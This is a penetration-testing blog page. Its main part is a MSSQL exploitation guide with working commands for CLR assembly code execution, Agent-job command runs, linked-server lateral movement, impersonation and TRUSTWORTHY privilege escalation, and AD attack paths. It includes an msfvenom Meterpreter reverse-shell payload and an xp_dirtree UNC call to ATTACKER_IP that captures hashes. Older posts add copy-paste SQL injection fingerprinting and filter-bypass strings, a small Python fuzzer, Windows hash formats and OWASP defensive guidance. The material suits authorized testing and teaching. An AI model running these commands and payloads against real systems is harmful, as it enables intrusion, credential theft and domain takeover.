Load a custom .NET assembly into SQL Server for arbitrary code execution. This is the most powerful technique — you can run anything .NET can do, including fully functional reverse shells, in-memory tooling, and C# implants.

-- Enable CLR (requires sysadmin) EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'clr enabled', 1; RECONFIGURE; -- For SQL Server 2017+, you also need: EXEC sp_configure 'clr strict security', 0; RECONFIGURE; -- Or sign the assembly with a certificate -- Create assembly from hex-encoded DLL bytes -- (Generate with: msfvenom -p windows/x64/meterpreter/reverse_tcp -- LHOST=ATTACKER_IP LPORT=4444 -f csharp, compile, convert to hex) CREATE ASSEMBLY [malicious_assembly] FROM 0x4D5A900003... -- hex bytes of your .NET DLL WITH PERMISSION_SET = UNSAFE; -- Create stored procedure mapped to CLR method CREATE PROCEDURE [dbo].[cmd_exec] @cmd NVARCHAR(4000) AS EXTERNAL NAME [malicious_assembly].[StoredProcedures].[cmd_exec]; -- Execute EXEC cmd_exec 'whoami';

Tool: DAFT (Database Audit Framework & Toolkit) and PowerUpSQL by NetSPI include pre-built CLR assemblies for command execution that handle the hex encoding and deployment automatically.

SQL Server Agent Jobs

Create a scheduled SQL Agent job that executes an OS command. Stealthier than xp_cmdshell because the command runs under the SQL Agent service account context, and the execution is decoupled from your session.

-- Requires sysadmin or SQLAgentOperatorRole USE msdb; EXEC dbo.sp_add_job @job_name = N'pentest_job'; EXEC dbo.sp_add_jobstep @job_name = N'pentest_job', @step_name = N'exec_cmd', @subsystem = N'CmdExec', @command = N'whoami > C:\Windows\Temp\agent_output.txt', @retry_attempts = 0, @retry_interval = 0; EXEC dbo.sp_add_jobserver @job_name = N'pentest_job'; -- Execute immediately EXEC dbo.sp_start_job @job_name = N'pentest_job'; -- Wait a moment, then read output WAITFOR DELAY '00:00:05'; SELECT BulkColumn FROM OPENROWSET( BULK 'C:\Windows\Temp\agent_output.txt', SINGLE_CLOB ) AS x; -- Clean up EXEC dbo.sp_delete_job @job_name = N'pentest_job';

Linked Server Hopping — Lateral Movement

Linked servers create persistent connections between SQL Server instances. If the target has linked servers configured (common in enterprise environments), you can execute queries — and potentially OS commands — on remote instances through the link chain.

-- Enumerate linked servers EXEC sp_linkedservers; SELECT * FROM sys.servers WHERE is_linked = 1; -- Execute query on linked server SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT @@SERVERNAME'); SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT SYSTEM_USER'); SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')'); -- Enable xp_cmdshell on linked server (if sysadmin there) EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LINKED_SERVER_NAME]; EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER_NAME]; EXEC ('xp_cmdshell ''whoami'';') AT [LINKED_SERVER_NAME]; -- Double-hop: linked server A → linked server B SELECT * FROM OPENQUERY([SERVER_A], 'SELECT * FROM OPENQUERY([SERVER_B], ''SELECT @@SERVERNAME'')' );

Linked server abuse is lateral movement. In large enterprises, you can chain through 3-4 linked servers and end up on a database server in a different network segment, datacenter, or even a different domain trust — all authenticated transparently. Map linked server topology early and treat each hop as a new compromise opportunity.

Comparison: Execution Methods

MethodRequirementDetection ProfileOutput Capture
xp_cmdshell sysadmin High — well-monitored, sp_configure change logged Direct (returns rows)
sp_OACreate sysadmin Medium — less commonly monitored than xp_cmdshell Indirect (write to file, read back)
CLR Assembly sysadmin Medium-Low — assembly registration logged but execution blends in Direct (custom implementation)
SQL Agent Job sysadmin or Agent role Low — Agent jobs are normal; decoupled execution Indirect (write to file)
Linked Servers Varies per link config Low-Medium — cross-server queries are normal traffic Direct (via OPENQUERY)
xp_dirtree (hash capture) Any authenticated user Low — no configuration change needed N/A (captures auth, not output)

Privilege Escalation

Escalating Within SQL Server

If you land on MSSQL as a low-privilege user and need sysadmin, there are several escalation paths:

Impersonation (EXECUTE AS)

-- Check who you can impersonate SELECT DISTINCT grantee_principal_id, permission_name, dp.name AS grantee_name, dp2.name AS grantor_name FROM sys.server_permissions sp JOIN sys.server_principals dp ON sp.grantee_principal_id = dp.principal_id JOIN sys.server_principals dp2 ON sp.grantor_principal_id = dp2.principal_id WHERE permission_name = 'IMPERSONATE'; -- Impersonate a login EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; -- Should now return 'sa' SELECT IS_SRVROLEMEMBER('sysadmin'); -- Should return 1 -- Execute as sysadmin, then do anything EXEC xp_cmdshell 'whoami'; -- Revert REVERT;

Trustworthy Database Escalation

-- Check for TRUSTWORTHY databases SELECT name, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on = 1; -- If you are db_owner of a TRUSTWORTHY database: -- You can create a stored procedure that executes as the database owner -- If the database owner is sysadmin, you get sysadmin execution context USE [trustworthy_db]; CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'your_login', 'sysadmin'; GO EXEC sp_escalate;

Service Account Abuse

-- If SQL Server service runs as a domain account: -- 1. Capture its hash via xp_dirtree/UNC -- 2. Check if it has local admin on other machines -- 3. Use it for Kerberoasting (if it has SPNs) -- 4. Check AD group memberships -- Via xp_dirtree hash capture: EXEC xp_dirtree '\\ATTACKER_IP\capture'; -- Capture hash → crack/relay → lateral movement

AD Integration

MSSQL and Active Directory

MSSQL is deeply integrated with Active Directory in most enterprise environments. This integration creates attack paths that flow bidirectionally — from AD to MSSQL and from MSSQL to AD.

Discovery via AD

# All SQL Server SPNs in the domain (reveals every instance) GetUserSPNs.py domain/user:password -dc-ip DC_IP | grep -i mssql # PowerUpSQL comprehensive discovery Get-SQLInstanceDomain | Get-SQLServerInfo # Kerberoast SQL Server service accounts GetUserSPNs.py domain/user:password -dc-ip DC_IP -request \ -outputfile sql_tgs_hashes.txt # Crack with hashcat -m 13100

From MSSQL to Domain Compromise

Compromise MSSQL (SQLi, weak creds, credential reuse) │ ├──► xp_dirtree → capture service account NTLMv2 hash │ ├──► Crack hash → credential reuse across environment │ └──► Relay hash → authenticate to other services (ntlmrelayx) │ ├──► xp_cmdshell → dump LSASS (mimikatz, procdump) │ └──► Extract cached domain credentials → lateral movement │ ├──► Linked servers → hop to other SQL instances │ └──► Different service accounts, different network segments │ └──► coerce authentication → PetitPotam, PrinterBug via xp_cmdshell └──► Relay to ADCS → domain admin certificate

Common finding: SQL Server service accounts running as domain admin, or with unconstrained delegation enabled, or with write access to Group Policy Objects. Any of these turns MSSQL compromise into immediate domain compromise. Always check the service account's AD group memberships and permissions with BloodHound after capturing or cracking the credentials.


Beyond MSSQL

Other Database Targets — Quick Reference

MSSQL is not the only database you will encounter in the field. Each platform has its own exploitation primitives:

DatabaseKey Attack VectorsTools
PostgreSQL COPY TO/FROM PROGRAM (direct OS command execution if superuser), pg_read_file() and pg_read_binary_file() for local file read, large object abuse (lo_import/lo_export) for file write, extension loading for arbitrary code execution psql, SQLMap, Metasploit
MySQL / MariaDB LOAD DATA LOCAL INFILE (read client-side files via rogue MySQL server), SELECT ... INTO OUTFILE (write files — e.g., webshell to webroot), User Defined Functions (UDF) compiled shared library loading for OS command execution mysql client, SQLMap, Metasploit, Rogue MySQL Server
Oracle Java stored procedures for OS access, DBMS_SCHEDULER for command execution, UTL_HTTP / UTL_TCP for outbound connections, TNS listener attacks, default credentials (SYS/CHANGE_ON_INSTALL, DBSNMP/DBSNMP) odat (Oracle Database Attacking Tool), SQLMap, Metasploit, tnscmd10g
MongoDB NoSQL injection ($gt, $ne, $regex operators), unauthenticated access (common on legacy versions), $where JavaScript injection for server-side code execution, SSRF via $lookup mongosh, NoSQLMap, Nuclei templates
Redis Unauthenticated access (default configuration), CONFIG SET dir/dbfilename to write SSH authorized_keys or crontabs, module loading (MODULE LOAD) for native code execution, Lua scripting via EVAL redis-cli, redis-rogue-server, Metasploit

Reference

MSSQL Exploitation Toolkit

ToolPurpose
Impacket mssqlclient.pyInteractive MSSQL client — supports Windows and SQL auth, hash authentication, xp_cmdshell enable/exec, file upload/download. The go-to for manual MSSQL interaction from Linux.
CrackMapExec / NetExecMSSQL credential spraying, command execution, enumeration: crackmapexec mssql target -u user -p pass -x 'whoami'
PowerUpSQLPowerShell toolkit for MSSQL discovery, enumeration, and exploitation in AD environments. Finds instances via SPN enumeration, audits misconfigs, tests linked servers, deploys CLR assemblies.
SQLMapAutomated SQL injection — --os-shell (interactive OS shell), --os-pwn (Meterpreter), --file-read, --file-write. Handles MSSQL stacked queries natively.
Metasploitauxiliary/scanner/mssql/mssql_login (credential testing), exploit/windows/mssql/mssql_payload (shell delivery), auxiliary/admin/mssql/mssql_exec (command execution), auxiliary/admin/mssql/mssql_escalate_dbowner
HeidiSQL / Azure Data StudioGUI clients for interactive database exploration and manual query execution when you have credentials.
ResponderCaptures NTLMv2 hashes when MSSQL authenticates to your UNC path. Essential companion to xp_dirtree / OPENROWSET UNC techniques.
ntlmrelayx (Impacket)Relay captured MSSQL service account authentication to other services instead of cracking — direct lateral movement.

Originally published circa 2012 as an OPENROWSET reference. Fully rewritten and expanded — March 2026.
For the complete penetration testing framework this belongs to, see the companion post: The Essential Penetration Testing Framework — 2026 Edition.

10/03/2012

Database Finger Printing


SQL Fuzzing

This article is created to introduce an SQL query injection reference, meanning strings that can be used without any modification (a simple copy paste) in web application SQL fuzzers to perform balck box SQL fuzzing (no assumption made about back end database). In the following table M means MSSQL, O means Oracle, P means Postgre and My means MySQL.

SQL Injection Strings For Fingerprinting
'SELECT @@version --MNote: This injection query works with any instance of SQL Server 2000 or of a later version.
' UNION SELECT @@version,NULL,NULL--MNote: This injection query can be used to identify amount of table columns, data types and database version.
'SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition') --MNote: This query works with any instance of SQL Server 2000 or of a later version.
The following results are returned:
  • The product version (for example, 10.0.1600.22)
  • The product level (for example, RTM)
  • The edition (for example, Enterprise)
'1 in (SELECT @@version) --MNote: This query works with by trying to generate encapsulated casting errors.
'1 in (CHAR(83) + CHAR(69) + CHAR(76) + CHAR(69) + CHAR(67) + CHAR(84) + CHAR(32) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110)) --MNote: This query is using obfuscation technices to by pass SQL filters and is not going to work in most cases.
'SELECT/*Place what ever you want*/ @@version --MNote:This is good for by passing filters in bad SQL filters.
' 1 in (SELECT/*Place what ever you want*/ @@version) --MNote: Again this is good for by passing filters in bad SQL filters.
' or @@PACK_RECEIVED-@@PACK_RECEIVED --MNote:The @@PACK_RECEIVED databse system variable is used to display a report containing several SQL Server statistics, including packets sent and received. Used in the injection point with numerical values.
Injectable'+'Variable --MNote:Usage of string concatenation used by MSSQL database
'SELECT version FROM v$instance;ONote:You can capture the edition, version and release (32 bit or 64-bit)
'SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;ONote:You can capture the edition, version and release in both 32 bit or 64-bit versions
'SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;ONote:You can capture the edition, version and release in both 32 bit or 64-bit versions.SELECT statements must have a FROM clause in Oracle
'Injection'||'variable' --ONote:Usage of string concatenation used by Oracle database. When injecting the vulnerable variable the web application should behave normaly.
SELECT banner FROM v$version WHERE banner LIKE "Oracle Database%";ONote:You can capture the edition, version and release in both 32 bit or 64-bit versions.SELECT statements must have a FROM clause in Oracle. 
SELECT @@version #MyNote: Again a version injection query
'Injection' 'variable' #MyNote: Again a verion injection query (notice the space of the string).
'SELECT /*!32302 12*/ #MyNote: This injection string is used for string values (char variables) and should return the number 12. You will get the same response if MySQL version is higher than 3.23.02 .
or /*!32302 12*/ = /*!32302 12*/MyNote: This injection string is used for numerical values and is equal to or 1=1 in MSSQL. You will get the same response if MySQL version is higher than 3.23.02 .
' or /*!32302 12*/ = /*!32302 12*/ #MyNote: This injection string is used for numerical values and is equal to or ' or 1=1 -- in MSSQL. You will get the same response if MySQL version is higher than 3.23.02 .
SELECT /*What ever you want to inject*/@@version#MyNote:Again used to by passing SQL data filters.
CONNECTION_ID()-CONNECTION_ID()#MyNote:Again for versioning database in numerical injections.
' SELECT /*!32302 1/0, */ 1/1 FROM existingtablename # MyNote:Will throw an divison by 0 error if MySQL version is higher than 3.23.02.
' SELECT /*!32302 1/1, */ 1/0 FROM existingtablename #MyNote:Will throw an divison by 0 error if MySQL version is lower than 3.23.02.
SELECT version()-PNote:Check the comment character.

09/03/2012

The SQL Fuzzing Injection Approach

Prologue


This is not another boring SQL injection cheat sheet, since already a lot of this cheat sheets already exist in the Internet (e.g. pentestmonkey e.t.c). This article is about categorizing and formalizing the procedure of SQL injection fuzzing step by step. So SQL Injection issues should be categorized in three different types:

1. Error Based SQL injections (no input validation or output database error filtering).

2. Semi Error Based SQL injections (minor or no input validation but some output database error filtering).

3. Blind SQL injections (strict both input and output filtering).

The first category is probably the most obvious since it is the most easy to identify, plus what ever you inject (even a single quote) is going to return back a database SQL error. The second type of SQL injection is the semi blind SQL injection where the developers either don't filter the input properly (but do filter) or they don't filter at all BUT do filter some of the database SQL errors returned back, thinking that is very hard to exploit the SQL injection if they do that. The third part type is the Blind SQL injection, where some filtering in the input validation may occur but all database SQL errors are filtered. This article is going to analyze the first type of SQL injection type.



Identifying Error Based SQL Injections by fuzzing



In this article we are going to refer to all possible characters used to identify an Error Based SQL injection. The following characters can be used to identify an SQL injection:

First Character'
Second Character;
Third Character-
Forth Character#
Fifth Character)
Sixth Character*
Seventh CharacterSpace Character


Now with this amount of characters we can have 2 in the power of 6 combinations, meaning we have 64 combinations, of course not all character combinations are going to be a meaningful character sequences to the SQL databases, but most of them are going to be, plus with that approach the concept of BLACK box testing is applied better (e.g. you assume nothing about the input filtering or the database back end). Writing a program that takes as an input this 6 characters and produces all combinations is would be very useful, A payload SQL injection generator is like the ammunition for the SQL fuzzer. Basically my concept about

A sample list of all character sequences that will be produced and have meaning to a database would be:

Interesting character sequence list'); -- ,  ; --  ,  ' --  ,  /**/ ,   ; #   ,  ); --     ...  e.t.c

A more interesting fuzzing approach would be to increase you payload list by either increasing the fuzzing list using a bigger payload list such as fuzzdb or by using your own payload list generated by your payload generator. The critical issue here is to optimize your payload list, either for identifying or of exploiting SQL injections and then use the proper tool to analyze the results. Analyzing the results is also critical, the best way to do something like that would be to use a fuzzer such as Burp Intruder or JBroFuzz. Now when analyzing the results you should most of the time focus on the Http Error returned and the response size. Successfully exploiting the an SQL injection would increase or reduce significantly the size for the response, depending always on the situation.

JBroFuzz and Burp Intruder have a very good user interface that gives you a quick Http Error Code status and response size view. The following picture shows a screen shot from JBroFuzz.



Exploiting Error Based SQL Injections



The fuzzing approach can be used for successfully exploiting Error Based SQL injections (but also Semi Error SQL injections, but this is out of scope of this article) with very good efficiency. The only thing someone should do to increase the efficiency would be to optimize the payload list for exploiting a particular database e.g. MSSQL, Oracle e.t.c and besides checking the Http Satus Codes and the response size to also do some grep-ing the results using another list (for the purposes of this article I am going to refer to the list as a result list). The result list should be processed by tools such as the Burp Grep Utility or costume utilities you might decide to create in order to identify proper errors (e.g. you should have an SQL error list e.t.c).      


Writing a fuzzer is easy


Someone might want to use her/his own fuzzer, and this article is a good place to start.

First part would be to put the author version (I now I am making too formal) and copyright restrictions:   



#!/usr/bin/env python
__version__ = "1.0"
__author__ = "Gerasimos Kassaras"
__copyright__ = "None"


 Second part would be to import the proper libraries:


# -*- coding: iso-8859-15 -*-
import httplib
import os
import sys
import time
import time
import re
import string


Third part would be to wright the load list function (in order to load the payload list) which is omitted (it is too simple) and forth part would be to write the fuzz loop:


def fetchHtml(hostToFuzz,variableToFuzz,payload):

# Make use of httplib

  httpHeader = httplib.HTTP(hostToFuzz)
  httpHeader.putrequest('GET',variableToFuzz+payload)

# Form the Http header
  httpHeader.putheader('Host',hostToFuzz)
  httpHeader.putheader('User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; el; rv:1.9.0.4)   Gecko/2008102920 Firefox/3.0.4')
  httpHeader.putheader('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')
  httpHeader.putheader('Accept-Language: el-gr,el;q=0.7,en-us.;q=0.3')
  httpHeader.putheader('Accept-Encoding: gzip,deflate')
  httpHeader.putheader('Accept-Charset: ISO-8859-7,utf-8;q=0.7,*;q=0.7')
  httpHeader.endheaders()

# Handling Http return codes…

  returncode = httpHeader.getreply()

# Process http reply data!

  fileObject = httpHeader.getfile()
  rawHtml = fileObject.readlines() # Get raw HTML

# Return rawHtml

return rawHtml


The fifth part would be to write a piece of code to process the result list. In python we can do that by using regular expressions. Now the important part is that the regular expression should be used like the grep functionality Burp Intruder is using to extract the important parts of the result list. The result list can be populated by books such as Web Application Hackers Hand Book e.t.c.   


def fetchInfectedHtml(rawHtml,payloadList):

infectedHtml = []

for counter in range(len(SQLErrorList)):

# Compile regular expression with the payload
  regularExpression = re.compile( SQLErrorList[counter])

# Inner loop for searching fetched html
  for counter1 in range(len(rawHtml)):
   
    if regularExpression.search(rawHtml[counter1]):# Search for all errors in SQL Error List per reply
     
      infectedHtml.append(rawHtml[counter1])

return infectedHtml

03/03/2012

Windows Password?

Windows password world 

Long time ago I was doing a penetration test and I started wondering what is the windows password format and how is it stored? And after some research I came up with the proper information I was so viciously looking for....

Windows Lan Manager (LM) and NT LAN Manager (NTLM) Passwords 

The LM hash is the old style hash used in Microsoft OS before NT 3.1 ; NT 3.1 to XP SP2 supports LM hashes for backward compatibility and is enabled by default. Vista and Seven support LM hash but is disabled by default. NTLM was introduced in NT 3.1, and supports password lengths greater than 14.

If LM hashes are enabled on your system (Win XP and lower), a hash dump will look like:

Administrator:500:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::
If LM hashes are disabled on your system (Win Vista, 7+), a hash dump will look like:

Administrator:500:NO PASSWORD***********:0CB6948805F797BF2A82807973B89537:::

The first field is the username. The second field is the unique Security IDentifier for that username. The third field is the LM hash and the forth is the NTLM hash.  

How LM hash is computed

   1. The user’s ASCII password is converted to uppercase.

   2. This password is null-padded to 14 bytes.

   3. The “fixed-length” password is split into two seven-byte halves.

   4. These values are used to create two DES keys, one from each 7-byte half, by converting the seven bytes into a bit stream, and inserting a null bit after every seven bits (so 1010100 becomes 01010100). This generates the 64 bits needed for a DES key. (A DES key ostensibly consists of 64 bits; however, only 56 of these are actually used by the algorithm. The null bits added in this step are later discarded.)

   5. Each of the two keys is used to DES-encrypt the constant ASCII string “KGS!@#$%”, resulting in two 8-byte ciphertext values. The DES CipherMode should be set to ECB, and PaddingMode should be set to NONE.

   6. These two ciphertext values are concatenated to form a 16-byte value, which is the LM hash.

XP Cached Credentials

The username is appended to the NTLM hash of the password and then that value is hashed using 

MD4 : MD4(username + MD4(password).

Note: Notice that no salt is used for the cached xp passwords, which means that same user-name password pairs have the same password cache dump!!

Vista/Seven Cached Credentials

Uses same process to create the cached credential that XP uses, except it applies PBKDF2 as well. PBKDF2 takes the SHA1 cryptographic hash function and applies it to the XP cached credential salting it with the lower case username, repeating this for the specified number of iterations (1024).

PBKDF2 (Password-Based Key Derivation Function) is a key derivation function that is part of RSA Laboratories' Public-Key Cryptography Standards (PKCS) series, specifically PKCS #5 v2.0, also published as Internet Engineering Task Force's RFC 2898. It replaces an earlier standard, PBKDF1, which could only produce derived keys up to 160 bits long.

PBKDF2 applies a pseudorandom function, such as a cryptographic hash, cipher, or HMAC to the input password or passphrase along with a salt value and repeats the process many times to produce a derived key, which can then be used as a cryptographic key in subsequent operations. The added computational work makes password cracking much more difficult, and is known as key stretching. When the standard was written in 2000, the recommended minimum number of iterations was 1000, but the parameter is intended to be increased over time as CPU speeds increase. Having a salt added to the password reduces the ability to use a precomputed dictionary to attack a password (such as rainbow tables) and means that multiple passwords have to be tested individually, not all at once. The standard recommends a salt length of at least 64 bits.

About NTLM 

NTLM is widely deployed, but it remains vulnerable to a credentials forwarding attack, which is a variant on the reflection attack which was addressed by Microsoft security update MS08-068. Both attacks were discovered by Dominique Brezinski in 1997. For example, Metasploit can be used in many cases to obtain credentials from one machine which can be used to gain control of another machine. The Squirtle toolkit can be used to leverage web site cross-site scripting attacks into attacks on nearby assets via NTLM.

In February 2010, Amplia Security discovered several flaws in the Windows implementation of the NTLM authentication mechanism which completely broke the security of the protocol allowing attackers to gain read/write access to files and remote code execution. One of the attacks presented included the ability to predict pseudo-random numbers/challenges/nonces generated by the protocol. These flaws had been present in all versions of Windows for 17 years. The security advisory explaining the issues found included different fully working proof-of-concept exploits. All flaws were fixed by MS10-012.

References:

http://www.onlinehashcrack.com/how_to_crack_lsa_cached_credentials.php
http://www.onlinehashcrack.com/how_to_crack_lsa_cached_credentials.php
http://en.wikipedia.org/wiki/PBKDF2
http://en.wikipedia.org/wiki/NTLM
http://en.wikipedia.org/wiki/LM_hash

22/02/2012

OWASP top 10 Common Vulnerabilities....What? (Part 2)

This article is the second part of OWASP top 10 Common vulnerabilities...

HTTP Header Injection



Vulnerability Description: 

This post is the second part of the series OWASP what? and focuses explaining how OWASP categorizes vulnerabilities. So HTTP header injection is a general class of web application security vulnerability which occurs when Hypertext Transfer Protocol (HTTP) headers are dynamically generated based on user input. Header injection in HTTP responses can allow for HTTP response splitting, Session fixation via the Set-Cookie header, cross-site scripting (XSS), and malicious redirects attacks via the location header. HTTP header injection is a relatively new area for web-based attacks, and has primarily been pioneered by Amit Klein in his work on request/response smuggling/splitting. During the web application penetration test, we managed to successfully inject HTTP headers on to the server’s responses.

Impact:

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Recommendations:

Investigate all uses of HTTP headers, such as

1. Setting cookies
2. Using location (or redirect() functions)
3. Setting mime-types, content-type, file size, etc.
4. Setting custom headers

If these contain Unvalidated user input, the application is vulnerable when used with application frameworks that cannot detect this issue. If the application has to use user-supplied input in HTTP headers, it should check for double “\n” or “\r\n” values in the input data and eliminate it (along with all it mutation, e.g. encoded return characters).

Many application servers and frameworks have basic protection against HTTP response splitting, but it is not adequate to task, and you should not allow Unvalidated user input in HTTP headers.
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


References:

  1. https://www.owasp.org/index.php/Interpreter_Injection 
  2. http://en.wikipedia.org/wiki/HTTP_header_injection
  3. http://blogs.msdn.com/b/esiu/archive/2007/09/22/http-header-injection-vulnerabilities.aspx
Invalidated Redirects and Forwards

Vulnerability Description:

A web application takes a parameter and redirects a user to the parameter value, such a Web site, without validation. Attackers exploit this vulnerability with phishing e-mails that cause users to visit malicious sites inadvertently.

Impact: 

Invalidated redirects and forwards vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targeting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.

Recommendations:

Investigate all uses of HTTP headers, such as
1. Setting cookies
2. Using location (or redirect() functions)
3. Setting mime-types, content-type, file size, etc.
4. Setting custom headers
If these contain Unvalidated user input, the application is vulnerable when used with application frameworks that cannot detect this issue.
If the application has to use user-supplied input in HTTP headers, it should check for double “\n” or “\r\n” values in the input data and eliminate it (along with all it mutation, e.g. encoded return characters).
Many application servers and frameworks have basic protection against HTTP response splitting, but it is not adequate to task, and you should not allow Unvalidated user input in HTTP headers.
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

References:
  1. https://www.owasp.org/index.php/Interpreter_Injection 
  2. http://en.wikipedia.org/wiki/HTTP_header_injection 
  3. http://blogs.msdn.com/b/esiu/archive/2007/09/22/http-header-injection-vulnerabilities.aspx

20/02/2012

OWASP top 10 Common Vulnerabilities....What? (Part 1)

For a long time now...

For a long time now there is a confusion about the common web application vulnerabilities and their countermeasures. This is post is going to clear out the meaning of some of the OWASP top 10 web app vulnerability categorization and provide you with countermeasures (it is going to be a long post).

The OWASP top 10 describes the most common web application vulnerabilities based on the risk, In order to clarify what Risk is and how is perceived from OWASP I am going to give you the definition of risk, so risk is:

"Risk is the potential that a chosen action or activity (including the choice of inaction) will lead to a loss (an undesirable outcome). The notion implies that a choice having an influence on the outcome exists (or existed). Potential losses themselves may also be called "risks". Almost any human endeavor carries some risk, but some are much more risky than others." [1]


The maths of risk is:

Risk = (probability of accident occurring) x (expected loss in case of accident)

Where accident is for example the SQL or LDAP injection and expected loss is more or less the impact. Now OWASP top 10 categorizes is injections as number one vulnerability because the impact of the injection is by far greater than the XSS impact.

e.g.  

SQL Injection Risk (low probability of accident occurring) x (expected high loss in case of accident)

XSS Risk (high probability of accident occurring) x (expected low loss in case of accident)


An example would be that of an SQL injection that results to loss of confidentiality and an XSS that results to user identity theft. The XSS vulnerability is occurring more often than SQL injection but the impact of the SQL injection is bigger.

Back to OWASP top 10


So the follwoing list represent the OWASP top 10:
  1. Injection (e.g. SQL, XML, LDAP injection)
  2. Cross Site Scripting (XSS) 
  3. Broken Authentication (e.g. bad session life-cycle )
  4. Insecure Direct Object Reference (e.g. access functionality with higher privilages)
  5. Cross-Site Request Forgery (CSRF)
  6. Security Misconfiguration (e.g. default admin panel password)
  7. Insecure cryptographic storage (e.g. usage of deprecated cryptographic algorithms)
  8. Failure to restrict URL access (e.g. broken access control)
  9. Un-Sufficient Transportation Layer Protection
  10. Unvalidated direct forwards and redirects (e.g. URL injection) 
So here is the analysis if each vulnerability:

Injection  (SQL Injection)

Impact:

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
An adversary can compromise the integrity, confidentiality and avaliability of the Web server. Also as a side effect costumer reputation can also be achived. An SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. The SQL injection exploit prodiced can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as execute stored procedures in the MSSql Server), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

Counter measures (for .NET): 

Make use of parameterized queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.
Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.


Primary Defenses:
  1. Use of Prepared Statements (Parameterized Queries)
  2. Use of Stored Procedures
  3. Escape all User Supplied Input
Additional Defenses:
  1. Also Enforce: Least Privilege (already applied).
  2. Also Perform: White List Input Validation.
  3. Also Disable: All unecesarry build in stored procedures.
  4. Also Remove: Execution rights from SQL (already applied but nat in all stored procedures).
  5. .NET specific recommendations:
  6. .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to escape all user supplied input using an escaping routine specific to your database vendor as is described below, rather than using a prepared statement. Another option which might solve your performance issue is used a stored procedure instead.

Safe Coding with C# .NET Prepared Statement Example:

String query = "SELECT account_balance FROM user_data WHERE user_name = ?";
try {
OleDbCommand command = new OleDbCommand(query, connection);
command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));
OleDbDataReader reader = command.ExecuteReader();
// …
} catch (OleDbException se) {
// error handling


Note:You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

  1. One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
  2. Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
Injection (Blind SQL Injection)



Impact:

Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.

In the first url the Referer HTTP header might be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether vulnerability is present.

